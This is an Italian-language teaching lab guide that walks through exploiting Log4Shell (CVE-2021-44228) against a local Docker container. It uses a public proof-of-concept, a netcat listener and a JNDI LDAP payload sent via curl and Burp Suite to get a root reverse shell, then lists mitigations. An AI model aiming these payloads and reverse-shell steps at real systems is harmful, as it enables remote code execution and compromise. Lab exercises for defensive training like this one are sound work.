
Hands-on lab for exploiting and understanding Log4Shell (CVE-2021-44228) using Docker, Kali Linux, Burp Suite and log4j-shell-poc. For teaching and defensive training in controlled lab environments only.
Log4Shell (CVE-2021-44228) è una delle vulnerabilità di esecuzione di codice remoto a più alto impatto mai divulgate. Colpisce Apache Log4j 2, un framework di logging Java ampiamente utilizzato, e consente agli attaccanti di eseguire codice arbitrario abusando dei lookup JNDI nei messaggi di log.
Questa guida fornisce un laboratorio dimostrativo completo e riproducibile che utilizza:
log4j-shell-pocÈ progettata per scopi didattici, di ricerca, formazione e consapevolezza difensiva esclusivamente in ambienti controllati. La struttura e lo stile seguono lo stesso spirito del laboratorio "Shellshock" associato.
poc.py per usare JDK 1.8.0_202curlQuesto laboratorio deve essere eseguito esclusivamente in un ambiente controllato in cui si dispone di autorizzazione esplicita (proprio laboratorio, VM di classe, ecc.).
Log4Shell (CVE-2021-44228) è una vulnerabilità critica di RCE in Apache Log4j 2.
Il problema nasce perché le versioni vulnerabili di Log4j2 interpretano stringhe controllate dall'attaccante come:
${jndi:ldap://ATTACKER_IP:1389/a}
Quando questa stringa viene registrata nei log, Log4j:
In questo laboratorio, dovrai:
log4j-shell-poc.curl e tramite Burp Suite.Al termine di questo laboratorio, dovresti essere in grado di:
Tutti i componenti girano sopra il tuo laboratorio virtuale esistente. Per questa documentazione assumiamo:
Idea chiave
L'attaccante inietta:
${jndi:ldap://192.168.1.4:1389/a}
in un header HTTP. L'app vulnerabile lo registra usando Log4j2 → esegue un lookup JNDI LDAP verso 192.168.1.4:1389 → scarica una classe dannosa da http://192.168.1.4:8000 → esegue la classe, che apre una reverse shell verso 192.168.1.4:9001.
Su Kali ti serve:
nc).In tutta questa guida assumiamo che l'IP di Kali sia:
192.168.1.4
Se il tuo IP è diverso, adatta tutti i comandi di conseguenza.
Il PoC si basa su Java SE 8 Update 202 (JDK 1.8.0_202) perché le versioni successive di Java limitano il caricamento remoto delle classi usato da questo exploit.
Anche se Kali ha già OpenJDK 21 (o simile), devi comunque installare 8u202 separatamente.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
Root del mirror:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Scarica l'archivio tar per Linux x64 (≈185 MB):
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # dovrebbe essere ~185M
/usr/bin/jdk1.8.0_202sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
L'opzione --strip-components=1 rimuove la directory di primo livello dall'archivio, così i file finiscono direttamente in /usr/bin/jdk1.8.0_202.
/usr/bin/jdk1.8.0_202/bin/java -version
Output atteso:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
Se vedi questo, JDK 1.8.0_202 è installato correttamente.
In un nuovo terminale su Kali (puoi rimanere in ~/Log4Shell):
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
Dovresti vedere log simili a:
:: Spring Boot :: (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
http://127.0.0.1:8080/ da Kali.Verifica rapida di sanità:
curl http://127.0.0.1:8080/
Potresti vedere una Whitelabel Error Page (HTTP 400). Va bene così: tutto ciò che ci serve è che l'app sia in esecuzione e registri le richieste.
log4j-shell-pocIn un nuovo terminale:
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
Conferma i file:
ls
# poc.py, target/, README, ecc. Exploit.java verrà generato in seguito.
poc.py per usare JDK 1.8.0_202Di default, poc.py si aspetta di trovare un JDK locale in una directory chiamata jdk1.8.0_20 dentro il repository. Invece, hai installato JDK 8u202 in /usr/bin/jdk1.8.0_202, quindi devi aggiornare lo script.
poc.py in un editornano poc.py
Cerca jdk1.8.0_20 (in nano: Ctrl+W, digita jdk1.8.0_20, premi Invio).
Dovresti trovare tre occorrenze come:
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
exit_code = subprocess.call([
os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
Sostituiscile con:
subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])
exit_code = subprocess.call([
"/usr/bin/jdk1.8.0_202/bin/java",
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
"/usr/bin/jdk1.8.0_202/bin/java",
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
Salva ed esci:
Ctrl + O → InvioCtrl + XIl PoC ora usa JDK 1.8.0_202 da /usr/bin.
Da ~/Log4Shell/log4j-shell-poc:
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
Parametri:
--userip – l'IP di Kali (attaccante): ad es. 192.168.1.4.--webport – porta per il server HTTP incorporato: 8000.--lport – porta a cui il payload si riconnette: 9001.Se tutto è configurato correttamente, dovresti vedere qualcosa come:
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}
[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389
Importante:
Il server LDAP è in ascolto sulla porta 1389.
Il server HTTP è in ascolto sulla porta 8000.
Il payload esatto da iniettare viene stampato:
${jndi:ldap://192.168.1.4:1389/a}
Lascia questo terminale in esecuzione.
Apri un altro nuovo terminale su Kali:
nc -nvlp 9001
Dovresti vedere:
listening on [any] 9001 ...
Questo listener riceverà la reverse shell dall'applicazione vulnerabile.
A questo punto dovresti avere:
poc.py in esecuzione con LDAP (1389) e HTTP (8000).curlPer prima cosa, dimostra che l'exploit funziona usando una richiesta HTTP grezza.
In un nuovo terminale (o riutilizzane uno se disponibile):
curl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
Cosa succede:
X-Api-Version.${jndi:ldap://192.168.1.4:1389/a} ed esegue un lookup JNDI LDAP.poc.py) risponde con un riferimento a una classe Java dannosa ospitata sul tuo server HTTP.192.168.1.4:9001 e avvia una shell.In caso di successo, il tuo terminale Netcat mostra:
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...
Ora hai una shell di root dentro il contenitore Docker.
Prova con:
id
hostname
ls /
Esci con:
exit
Netcat tornerà in ascolto.
Ora dimostra lo stesso percorso di exploit usando un browser mediato da Burp Suite.
Avvia Burp Suite su Kali.
In Burp, assicurati che il listener Proxy sia in ascolto su 127.0.0.1:8080.
In Firefox:
127.0.0.1, Porta: 8080.127.0.0.1.In Burp → Proxy → Intercept, assicurati che Intercept sia ON.
In Firefox, vai a:
http://127.0.0.1:8080/
Burp mostrerà la richiesta intercettata, ad es.:
GET / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 ...
...
In Repeater, modifica la richiesta per includere un header X-Api-Version:
GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Note:
192.168.1.4 con il tuo IP effettivo di Kali se diverso.${} – devono apparire esattamente come mostrato.Connection: close mantiene le cose semplici (opzionale).poc.py e il listener Netcat siano ancora in esecuzione.Potresti vedere di nuovo una 400 Whitelabel Error Page: va bene.
Controlla il terminale Netcat:
listening on [any] 9001 ...
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 37244
id
uid=0(root) gid=0(root) groups=0(root), ...
Hai di nuovo ottenuto una shell di root sul contenitore, questa volta usando una richiesta HTTP modificata con Burp, che rispecchia un flusso realistico di sfruttamento web.
L'attaccante crea il payload JNDI:
${jndi:ldap://192.168.1.4:1389/a}
L'applicazione vulnerabile registra questa stringa usando Log4j2.
Log4j2 interpreta ${jndi:...} ed esegue un lookup JNDI.
Il lookup usa LDAP per contattare il server LDAP dell'attaccante su 192.168.1.4:1389.
Il server LDAP (marshalsec) risponde con un javaNamingReference che punta a una classe controllata dall'attaccante ospitata su HTTP, ad es.:
http://192.168.1.4:8000/Exploit.class
La JVM vittima scarica e carica questa classe.
Il costruttore della classe apre un socket verso 192.168.1.4:9001 e collega /bin/sh ad esso.
Il listener Netcat dell'attaccante riceve la connessione in arrivo e ottiene una shell root remota dentro il contenitore.
Negli ambienti reali, dovrebbero essere applicati più livelli difensivi.
Per i deployment ancora vulnerabili, aggiungi:
-Dlog4j2.formatMsgNoLookups=true
(Dove applicabile – nota che non tutte le configurazioni vulnerabili vengono corrette solo con questo flag.)
JndiLookup dai JAR di log4j-coreCome misura di difesa in profondità:
zip -q -d log4j-core-*.jar \
org/apache/logging/log4j/core/lookup/JndiLookup.class
${jndi: o ${${lower:j}${upper:ndi}:.Una panoramica condensata dei comandi usati in questo laboratorio.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz
sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
/usr/bin/jdk1.8.0_202/bin/java -version
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
poc.py (riassunto)Sostituisci:
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac")
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java") # due usi
Con:
"/usr/bin/jdk1.8.0_202/bin/javac"
"/usr/bin/jdk1.8.0_202/bin/java"
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
nc -nvlp 9001
curlcurl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
${jndi:ldap://192.168.1.4:1389/a}
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
kozmer/log4j-shell-pocchristophetd/log4shell-vulnerable-appLog4Shell (CVE-2021-44228) Teaching Lab – creato con cura per studenti, difensori e hacker etici di tutto il mondo.
Fatto con amore da:
Haitham dell'Oman ❤️🇴🇲
| Componente | Ruolo / Descrizione | Strumenti / Servizi | Indirizzamento di esempio |
|---|
| VM Kali Linux (Attaccante + Host) | Esegue PoC exploit, server LDAP, server HTTP, listener Netcat, Burp Suite | Python 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git | 192.168.1.4 (es. IP di Kali) |
| Applicazione web Log4j2 vulnerabile | Target; app web Spring Boot vulnerabile a Log4Shell | Immagine Docker: ghcr.io/christophetd/log4shell-vulnerable-app | Esposta su http://127.0.0.1:8080 |
| Descrizione | Immagine |
|---|
| Installazione JDK / configurazione ambiente | ![]() |
| Script PoC in esecuzione (payload trigger) | ![]() |
| Applicazione web vulnerabile Tomcat in esecuzione | ![]() |
| Aggiornamento dello script PoC exploit | ![]() |